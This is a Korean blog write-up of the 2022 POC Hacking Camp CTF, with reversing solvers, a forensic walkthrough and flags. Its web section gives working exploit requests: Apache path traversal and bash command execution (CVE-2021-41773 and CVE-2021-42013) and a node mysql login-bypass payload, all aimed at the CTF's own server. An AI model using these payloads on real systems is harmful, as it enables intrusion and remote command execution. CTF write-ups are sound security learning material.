일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- vsCode
- 파이썬
- 뭉뭉
- reversing
- 2021
- 드림핵
- 변수
- 강의
- 히공
- probgame
- reversing.kr
- ShaktiCTF
- Basic
- PYTHON
- 워 게임
- 라이트 업
- 풀이
- write up
- web
- 라업
- write-up
- ctf
- 코드엔진
- hackingcamp
- 라이트업
- 리버싱
- 리버스 엔지니어링
- c언어
- 해킹캠프
- 시탭
히공
제 24회 POC 해킹캠프 CTF Write up 본문
Rev
Baby Crack
문제
메인 함수는 헥스레이가 작동되지 않도록 함수 프롤로그를 빼버렸다. 어려운 코드도 아니고 해서 그냥 어셈으로 분석했다.
키 값이 khngEe 일 때 name 값을 알아내야 하므로 보이는 루틴에서 보이는 연산을 분석해 역연산 루틴을 만들었다.
chr(ord('k')-3) + chr(ord('h')-7) + chr(ord('n')-0xb) + chr(ord('g')+4) + chr(ord('E')+0x20) + chr(ord('e')-1)
FLAG : HCAMP{hacked}
CompReverse
문제
__int64 __fastcall sub_100003D70(const char *buf)
{
__int64 result; // rax
int j; // [rsp+8h] [rbp-18h]
int i; // [rsp+Ch] [rbp-14h]
char temp; // [rsp+13h] [rbp-Dh]
char temp_1; // [rsp+13h] [rbp-Dh]
int len; // [rsp+14h] [rbp-Ch]
len = strlen(buf);
for ( i = 0; i < len / 2; ++i )
{
temp = buf[i];
buf[i] = buf[len - 1 - i];
buf[len - 1 - i] = temp;
}
round2(buf);
for ( j = 0; ; ++j )
{
result = (unsigned int)(len / 2);
if ( j >= (int)result )
break;
temp_1 = buf[j];
buf[j] = buf[len - 1 - j];
buf[len - 1 - j] = temp_1;
}
return result;
}
함수가 총 4개가 존재했는데 메인 루틴에서 쓰이지 않는 함수가 있어서 이를 분석했다.
이 함수에서는 round2 함수를 호출하는데
void __fastcall sub_100003C80(const char *buf)
{
int i; // [rsp+8h] [rbp-18h]
int len; // [rsp+Ch] [rbp-14h]
void *v3; // [rsp+10h] [rbp-10h]
len = strlen(buf);
v3 = malloc(len);
for ( i = 0; i < len; ++i )
{
if ( !(i % 2) )
buf[i] ^= 0x10u;
if ( !(i % 10) )
buf[i] ^= 5u;
if ( i % 2 )
buf[i] ^= 3u;
}
free(v3);
}
round2 함수는 문자열에 대해 for문을 돌리고, if 문으로 xor 연산을 수행한다.
연산이 너무나 간단하여 금방 코드를 짤 수 있었다.
buf = bytearray(b'\x4b\x56\x42\x5d\x53\x6b\x31\x20\x31\x22\x5c\x41\x6a\x77\x66\x62\x5c\x49\x66\x71\x71\x68')
buf_len = len(buf)
for i in range(buf_len//2):
temp = buf[buf_len-i-1]
buf[buf_len-i-1] = buf[i]
buf[i] = temp
for i in range(buf_len):
if not(i%2):
buf[i] ^=0x10
if not(i%10):
buf[i]^=5
if i%2:
buf[i]^=3
i = 0
while True:
if (i>=buf_len//2):
break
temp = buf[buf_len-i-1]
buf[buf_len-i-1] = buf[i]
buf[i] = temp
i+=1
print(buf)
FLAG : HCAMP{2022_Tiger_Year}
Encryptor
문제
int __stdcall encrypt::encryptor(encrypt *input_file, char *output_file, char *a3)
{
_DWORD *v3; // eax
unsigned int v4; // eax
int v5; // eax
std::ostream::sentry *v6; // eax
_BYTE *v7; // eax
std::ostream::sentry *v8; // eax
char v10[244]; // [esp+20h] [ebp-218h] BYREF
char v11[248]; // [esp+114h] [ebp-124h] BYREF
char v12[27]; // [esp+20Ch] [ebp-2Ch] BYREF
char v13[8]; // [esp+227h] [ebp-11h] BYREF
char v14; // [esp+22Fh] [ebp-9h]
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v12);
v14 = 1;
std::ifstream::basic_ifstream((char *)input_file, 8);
std::ofstream::basic_ofstream(output_file, 16);
std::operator>><char,std::char_traits<char>>((std::istream::sentry *)v11, (int)v13);
LABEL_2:
while ( 1 )
{
v3 = (_DWORD *)std::getline<char,std::char_traits<char>,std::allocator<char>>((std::istream::sentry *)v11, v12);
if ( !(unsigned __int8)std::ios::operator bool((char *)v3 + *(_DWORD *)(*v3 - 12)) )
break;
for ( *(_DWORD *)&v13[1] = 0; ; ++*(_DWORD *)&v13[1] )
{
v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(v12);
if ( v4 < *(_DWORD *)&v13[1] )
break;
v5 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(v12);
if ( v5 == *(_DWORD *)&v13[1] )
{
v6 = (std::ostream::sentry *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)v10,
(unsigned __int8)table[v13[0]]);
std::operator<<<std::char_traits<char>>(v6, v14);
v13[0] = std::istream::peek((std::istream::sentry *)v11);
v14 = 0;
goto LABEL_2;
}
v7 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](*(_DWORD *)&v13[1]);
if ( *v7 == v13[0] )
{
++v14;
}
else
{
v8 = (std::ostream::sentry *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)v10,
(unsigned __int8)table[v13[0]]);
std::operator<<<std::char_traits<char>>(v8, v14);
v13[0] = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](*(_DWORD *)&v13[1]);
v14 = 1;
}
}
}
std::ifstream::close(v11);
std::ofstream::close(v10);
std::operator<<<std::char_traits<char>>((std::ostream::sentry *)&std::cout, "encryption SUCCESSFUL!");
std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
std::ofstream::~ofstream(v10);
std::ifstream::~ifstream(v11);
return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v12);
}
암호화를 수행하는 로직은 C++로 이루어져 있어 매우 복잡했다.
v6 = (std::ostream::sentry *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)v10,
(unsigned __int8)table[v13[0]]);
std::operator<<<std::char_traits<char>>(v6, v14);
v13[0] = std::istream::peek((std::istream::sentry *)v11);
v14 = 0;
여기서 table을 사용하여 암호화를 진행한다고 알 수가 있다.
in 파일의 요소를 하나씩 가져와 그 것을 table의 index로써 사용하여 out.txt에 쓰고, 똑같은 문자가 얼마나 반복되는지를 out.txt에 쓴다.
table = bytes.fromhex('63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15 04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75 09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84 53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8 51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2 CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73 60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79 E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08 BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A 70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF 8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16')
with open('out.txt', 'rb') as f:
read = f.read()
flag = ''
for i in range(0, len(read), 2):
flag += chr(table.find(read[i])) * read[i+1]
print(flag)
분석 보다는 직감으로 푼 문제같다.
FLAG : HCAMP{TTThhhh1111ssss____111111ssss__RRRRuuuuunnnn___llll3ngggttthh}
Web
Memo
문제
let flag = 0;
// Save memo to local storage when clicking the enter button.
const form = document.getElementById('memo-form');
form.addEventListener('submit', () => {
const memo = document.getElementById('memo').value;
if (memo == "") { return ; }
const date = Date.now();
localStorage.setItem(date, JSON.stringify(memo));
});
// Convert the key from string to number.
const keyArray = Object.keys(localStorage);
keyArray.forEach((key, index) => {
keyArray[index] = Number(key);
});
// Sort memos
keyArray.sort(function(a, b) {
return a - b;
});
// Display memo
keyArray.forEach(key => {
const content = localStorage.getItem(key);
const memo = JSON.parse(content);
document.write(`<div class="memo">
<p>${memo}</p><button class="remove"><i class="fas fa-trash-alt"></i></button></div><br>`);
});
// Delete all memos
const deleteAll = document.getElementById('delete-all');
deleteAll.addEventListener('click', () => {
localStorage.clear();
location.reload();
});
// Delete memo
const removes = document.querySelectorAll('.remove');
removes.forEach((btn, index) => {
btn.addEventListener('click', () => {
localStorage.removeItem(keyArray[index]);
location.reload();
});
});
if(flag) {
var _0x1d644e=_0x1bfa;function _0x5a41(){var _0x1dc51d=['648212nEImhe','<div\x20class=\x22box\x22>./mFipVTsqLA0ixBI1G</div>','6JIGsKA','1878740WQwlmj','3563710IPbwRh','288UqbHnL','605794ZComZT','700409daJLLf','write','4622100wyIzKz','16448EMzcHD'];_0x5a41=function(){return _0x1dc51d;};return _0x5a41();}function _0x1bfa(_0x21179c,_0x36c37f){var _0x5a4135=_0x5a41();return _0x1bfa=function(_0x1bfabd,_0x2bba18){_0x1bfabd=_0x1bfabd-0x7e;var _0x43dd97=_0x5a4135[_0x1bfabd];return _0x43dd97;},_0x1bfa(_0x21179c,_0x36c37f);}(function(_0x3459f1,_0x29d380){var _0x2fc21d=_0x1bfa,_0x2473bb=_0x3459f1();while(!![]){try{var _0x18f5cf=parseInt(_0x2fc21d(0x87))/0x1+parseInt(_0x2fc21d(0x80))/0x2*(-parseInt(_0x2fc21d(0x82))/0x3)+parseInt(_0x2fc21d(0x83))/0x4+-parseInt(_0x2fc21d(0x84))/0x5+parseInt(_0x2fc21d(0x7e))/0x6+-parseInt(_0x2fc21d(0x86))/0x7+parseInt(_0x2fc21d(0x7f))/0x8*(parseInt(_0x2fc21d(0x85))/0x9);if(_0x18f5cf===_0x29d380)break;else _0x2473bb['push'](_0x2473bb['shift']());}catch(_0x453faa){_0x2473bb['push'](_0x2473bb['shift']());}}}(_0x5a41,0x88694),document[_0x1d644e(0x88)](_0x1d644e(0x81))); }
페이지의 js코드를 살펴보면 flag 변수가 True일 때 난독화 된 코드가 실행된다.
이를 무지성으로 console 탭에서 실행하면 ./mFipVTsqLA0ixBI1G 이란 문자열을 얻는다.
http://ctf-hackingcamp.com:8081/mFipVTsqLA0ixBI1G
그래서 이 url로 접속을 시도하니 플래그가 나왔다.
FLAG : HCAMP{gmUBaGw0QmCG05UO5nSS}
Apache
문제
flag는 /this_is_flag에 위치한다고 알려준다.
사이트를 들어가면 아파치 버전이 2.4.49 알려준다.
검색을 통해 Apache 2.4.49에 CVE-2021-41773 Path Traversal 1-day 취약점이 있음을 알아냈고, ../를 우회해서 풀 수 있었다.
curl http://ctf-hackingcamp.com:4088/cgi-bin/.%2e/.%2e/.%2e/.%2e/this_is_flag
FLAG : HCAMP{6d1a92ab7734ae55b234ed4d8cb772baa6159e76674f8ddb03d812cc9062a1e4}
Apache v2
문제
flag가 /flag에 있다고 알려준다.
이번에는 Apache 버전이 2.4.50이다.
2.4.49에서 패치된 CVE-2021-41773을 우회한 CVE-2021-42013 Path Traversal 1-day를 사용했지만 이전 문제같이 플래그의 내용을 읽어올 수 없었고, RCE 기법을 통해 플래그를 읽었다.
curl http://ctf-hackingcamp.com:4089/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash -d 'echo Content-Type: text/plain; echo; cat /flag' -H "Content-Type: text/plain"
FLAG : HCAMP{270cab0abcc907a079db4f0faf18255b744866c0d26284df60009296880832d0}
node sqli
문제
var express = require("express");
var session = require("express-session");
var mysql = require("mysql");
var md5 = require("md5");
var crypto = require("crypto");
var app = express();
var FLAG = process.env.FLAG;
app.use(express.urlencoded({
extended: false
}));
app.use(express.json());
app.use(session({
secret: 'secret',
resave: false,
saveUninitialized: true
}));
var connection = mysql.createConnection({
host: 'db',
user: 'root',
password: 'password',
database: 'node_sqli'
});
connection.connect();
connection.query("INSERT IGNORE INTO users (userid, userpw) VALUES (?, ?)",
[ 'admin', md5(crypto.randomBytes(30)) ],
(error, results, fields) => {
if (error) throw error;
}
)
app.get('/', (req, res) => {
if (req.session.user === "admin") {
res.send(FLAG);
} else {
res.send("hello hcamp 2022 <br><a href='/login'>login</a><br><a href='/register'>register</a>");
}
});
app.get('/login', (req, res) => {
res.sendFile(__dirname+"/views/login.html");
});
app.post('/login', (req, res) => {
var userid = req.body.userid;
var userpw = req.body.userpw;
if (userid && userpw) {
connection.query("SELECT * FROM users WHERE userid = ? AND userpw = ?",
[ userid, userpw ],
(error, results, fields) => {
if (error) throw error;
console.log(userid, results)
if (results.length > 0) {
req.session.user = userid;
res.redirect('/');
} else {
res.send("wrong userid or userpw");
}
res.end();
}
);
} else {
res.send("userid or userpw cannot be empty");
}
});
app.get('/register', (req, res) => {
res.send('register is under construction');
})
app.listen(3000, ()=> {
console.log("server listening on port 3000");
})
app.js 코드다.
이 문제의 이름이 node sql injection이라 얼마 전에 봤던 블로그 글이 떠올랐다.
https://harold.kim/blog/2022/02/nodejs-mysql-vulnerability/
이 블로그에서 Node Js 생태계에서 SQL Injection을 하는 방법을 설명하기에 이 방법을 따라했다.
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
블로그에서 나온 js코드
app.post('/login', (req, res) => {
var userid = req.body.userid;
var userpw = req.body.userpw;
if (userid && userpw) {
connection.query("SELECT * FROM users WHERE userid = ? AND userpw = ?",
[ userid, userpw ],
(error, results, fields) => {
if (error) throw error;
console.log(userid, results)
if (results.length > 0) {
req.session.user = userid;
res.redirect('/');
} else {
res.send("wrong userid or userpw");
}
res.end();
}
);
} else {
res.send("userid or userpw cannot be empty");
}
});
문제에서 제공된 app.js 코드
거의 똑같기 때문에 변수명만 바꿔서 공격을 시도했다.
data = {
"userid": "admin",
"userpw": {
"userpw": 1
}
}
fetch("http://ctf-hackingcamp.com:32002/login", {
"headers": {
"content-type": "application/json",
},
"body": JSON.stringify(data),
"method": "POST",
"mode": "cors",
"credentials": "include"
})
.then(r => r.text())
.then(r => { console.log(r); });
FLAG : HCAMP{chall_idea_from_https://blog.flatt.tech/entry/node_mysql_sqlinjection}
Forensic
find clue!
문제를 살펴보면 외부 저장소에 관한 문제가 2개나 있기에 data, mnt 폴더 중 mnt 폴더를 탐색했다.
mnt/sdcard 폴더에는 안드로이드 디바이스에 sd카드를 연결하고 사용했을 때 하고 비슷해서 심심할 때 폰에서 저장소를 뜯어보는 나에게 매우 좋았다.
1 외부 저장소에 민감한 정보가 기록되었다. 해당 파일 이름은?
이 문제는 모든 파일을 뒤져본 결과 gpslog2022pamc.txt에 존재하는 것임을 알게 되었다(사용자의 위치와 카드 번호는 민감한 정보이기 때문에 이 파일이 민감한 정보를 담는 파일이라고 판단).
답 : gpslog2022pamc
2 외부 저장소로 민감한 정보를 저장하는 앱의 이름은?
이 문제를 풀기 위해서는 앱들의 package가 모여있는 Android/data 폴더를 살펴보면 된다. demon.arrester.gpscheck 라는 패키지가 존재했고, 1번 문제에서 gps를 로깅했던 것으로 보아 이 앱이 민감한 정보를 저장하는 앱이라고 생각했다.
답 : gpscheck
3 해커가 이동한 위치 흔적을 남겼다. 해당 위치의 나라 이름은? (소문자)
Pictures/blackhat.jpg 파일에 이러한 사진이 존재했다. 그래서 이 사진으로 구글 이미지 검색을 했다.
사진의 위치가 peru임을 확인할 수 있었다.
답 : peru
FLAG : HCAMP{gpslog2022pamc_gpscheck_peru}
Misc
Prototype
문제
import base64
data = base64.b64decode('cmRvY3V3YxZFE3dSeBMYVXkSc1d5EUlLeHYQVkdwHBw=')
flag = ''
for i in data:
flag += chr(i ^ 0x21)
flag = base64.b64decode(flag).decode()
print(flag)
FLAG : HCAMP{welcom_to_Hcamp}
pyepyepye
문제
nc로 서버에 접속했을 때 간단한 연산 식이 나옴을 확인했고, 이 것을 빨리 풀어야 할 것 같아서 pwntools를 사용했다.
from pwn import *
r = remote('ctf-hackingcamp.com', 40021)
for i in range(3):
data = r.recv()
data = data.replace(b'=', b'')
value = eval(data)
r.sendline(str(value))
print(r.recv())
FLAG : HCAMP{pyth0n_1s_g00d_l@ng}
'write up' 카테고리의 다른 글
SSTF2020 - CRACKME101 (0) | 2020.09.16 |
---|